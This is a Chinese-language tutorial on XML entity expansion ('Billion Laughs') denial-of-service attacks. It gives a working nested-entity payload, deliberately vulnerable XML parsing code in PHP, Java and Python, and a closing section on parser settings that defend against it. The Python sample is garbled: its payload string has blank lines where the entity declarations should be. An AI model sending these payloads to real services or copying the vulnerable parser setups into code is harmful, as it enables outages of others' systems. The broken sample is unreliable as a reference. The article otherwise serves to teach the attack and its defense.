导读:本期聚焦于小伙伴创作的《什么是XML实体扩展攻击?XML实体扩展攻击代码实例有哪些?》,敬请观看详情,探索知识的价值。以下视频、文章将为您系统阐述其核心内容与价值。如果您觉得《什么是XML实体扩展攻击?XML实体扩展攻击代码实例有哪些?》有用,将其分享出去将是对创作者最好的鼓励。

XML实体扩展攻击又被称为Billion Laughs攻击,核心是利用XML规范中允许定义实体的特性,通过多层嵌套的实体递归引用,让解析器在解析时生成海量内容,耗尽服务器资源。这种攻击不需要获取敏感数据,仅通过构造特殊的XML payload就能让目标服务陷入无响应状态。

什么是XML实体扩展攻击?XML实体扩展攻击代码实例有哪些?

XML实体扩展攻击的基本原理

XML规范支持在文档类型定义(DTD)中声明实体,实体可以引用其他实体,当解析器处理包含递归实体引用的XML时,会不断展开实体内容。例如定义一个实体<!ENTITY a "test">,再定义<!ENTITY b "&a;&a;">,那么b展开后就是两个test,若按照指数级嵌套定义实体,最终展开的内容量会呈爆炸式增长。

常见的恶意DTD结构如下:

<!DOCTYPE foo [
    <!ENTITY x0 "ha">
    <!ENTITY x1 "&x0;&x0;">
    <!ENTITY x2 "&x1;&x1;">
    <!ENTITY x3 "&x2;&x2;">
    <!ENTITY x4 "&x3;&x3;">
    <!ENTITY x5 "&x4;&x4;">
    <!ENTITY x6 "&x5;&x5;">
    <!ENTITY x7 "&x6;&x6;">
    <!ENTITY x8 "&x7;&x7;">
    <!ENTITY x9 "&x8;&x8;">
    <!ENTITY x10 "&x9;&x9;">
]>

上述定义中,x10展开后会包含2的11次方个ha,随着嵌套层数增加,展开后的内容会指数级增长,最终超过服务器内存承载能力。

不同场景下的攻击代码实例

PHP场景下的攻击示例

PHP的simplexml_load_string函数默认会解析XML中的DTD,若未禁用外部实体和实体扩展,就容易受到攻击。以下是模拟攻击的测试代码:

<?php
// 模拟接收用户传入的XML数据
$inputXml = $_POST['xml_data'] ?? '';
// 未禁用实体扩展的解析逻辑,存在漏洞
libxml_disable_entity_loader(false);
$xml = simplexml_load_string($inputXml);
if ($xml) {
    echo "XML解析成功";
} else {
    echo "XML解析失败";
}
?>

攻击者可以向接口发送如下的POST数据触发攻击:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY x0 "ha">
    <!ENTITY x1 "&x0;&x0;">
    <!ENTITY x2 "&x1;&x1;">
    <!ENTITY x3 "&x2;&x2;">
    <!ENTITY x4 "&x3;&x3;">
    <!ENTITY x5 "&x4;&x4;">
    <!ENTITY x6 "&x5;&x5;">
    <!ENTITY x7 "&x6;&x6;">
    <!ENTITY x8 "&x7;&x7;">
    <!ENTITY x9 "&x8;&x8;">
    <!ENTITY x10 "&x9;&x9;">
]>
<foo>&x10;</foo>

Java场景下的攻击示例

Java的DOM解析器默认也会处理XML实体,以下是存在风险的解析代码:

import org.w3c.dom.Document;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import java.io.ByteArrayInputStream;

public class XmlParseTest {
    public static void parseXml(String xmlContent) {
        try {
            DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
            // 未禁用DTD和实体扩展,存在漏洞
            DocumentBuilder builder = factory.newDocumentBuilder();
            Document document = builder.parse(new ByteArrayInputStream(xmlContent.getBytes("UTF-8")));
            System.out.println("XML解析完成");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

攻击者传入的恶意XML内容和PHP场景的payload一致,解析时会触发实体展开,消耗大量内存。

Python场景下的攻击示例

Python的xml.etree.ElementTree模块在默认配置下不会解析DTD,但使用lxml库时若未做配置就容易受影响,以下是风险代码:

from lxml import etree

def parse_xml(xml_content):
    # 未禁用DTD解析,存在实体扩展风险
    parser = etree.XMLParser(resolve_entities=True)
    tree = etree.fromstring(xml_content, parser)
    print("XML解析成功")

if __name__ == "__main__":
    # 模拟恶意XML输入
    malicious_xml = """<?xml version="1.0" encoding="UTF-8"?>
    
        
        
        
        
        
        
        
        
        
        
    ]>
    &x10;"""
    parse_xml(malicious_xml)

防御XML实体扩展攻击的方法

要防范这类攻击,核心是从解析器配置层面禁用不必要的DTD处理和实体扩展,不同语言的防御方式如下:

  • PHP:解析XML前调用libxml_disable_entity_loader(true)禁用外部实体加载,同时限制实体扩展的最大深度,可通过libxml_set_external_entity_loader自定义实体加载逻辑,拒绝所有实体请求。
  • Java:使用DocumentBuilderFactory时,设置factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)完全禁用DTD,或者设置factory.setFeature("http://xml.org/sax/features/external-general-entities", false)禁用外部通用实体。
  • Python:使用lxml时,设置XMLParser(resolve_entities=False, no_network=True),禁止解析实体和加载网络资源;使用标准库xml.etree.ElementTree时,避免直接解析不可信的XML内容,或提前过滤DTD声明。

此外,对用户输入的XML内容做前置校验,过滤包含<!DOCTYPE、<!ENTITY等关键字的恶意内容,也能进一步降低攻击风险。

XML_entity_expansionXXEDoS修改时间:2026-06-26 17:30:24

免责声明:​ 已尽一切努力确保本网站所含信息的准确性。网站内容多为原创整理与精心编撰,观点力求客观中立。本站旨在免费分享,内容仅供个人学习、研究或参考使用。若引用了第三方作品,版权归原作者所有。如内容涉及您的权益,请联系我们处理。
内容垂直聚焦
专注技术核心技术栏目,确保每篇文章深度聚焦于实用技能。从代码技巧到架构设计,为用户提供无干扰的纯技术知识沉淀,精准满足专业提升需求。
知识结构清晰
覆盖从开发到部署的全链路。AI、前端、编程、数据库、服务器、建站、系统层层递进,构建清晰学习路径,帮助用户系统化掌握开发与运维所需的核心技术。
深度技术解析
拒绝泛泛而谈,深入技术细节与实践难点。无论是数据库优化还是服务器配置,均结合真实场景与代码示例进行剖析,致力于提供可直接应用于工作的解决方案。
专业领域覆盖
精准对应开发生命周期。从前端界面到后端编程,从数据库操作到服务器运维,形成完整闭环,一站式满足全栈工程师和运维人员的技术需求。
即学即用高效
内容强调实操性,步骤清晰、代码完整。用户可根据教程直接复现和应用于自身项目,显著缩短从学习到实践的距离,快速解决开发中的具体问题。
持续更新保障
专注既定技术方向进行长期、稳定的内容输出。确保各栏目技术文章持续更新迭代,紧跟主流技术发展趋势,为用户提供经久不衰的学习价值。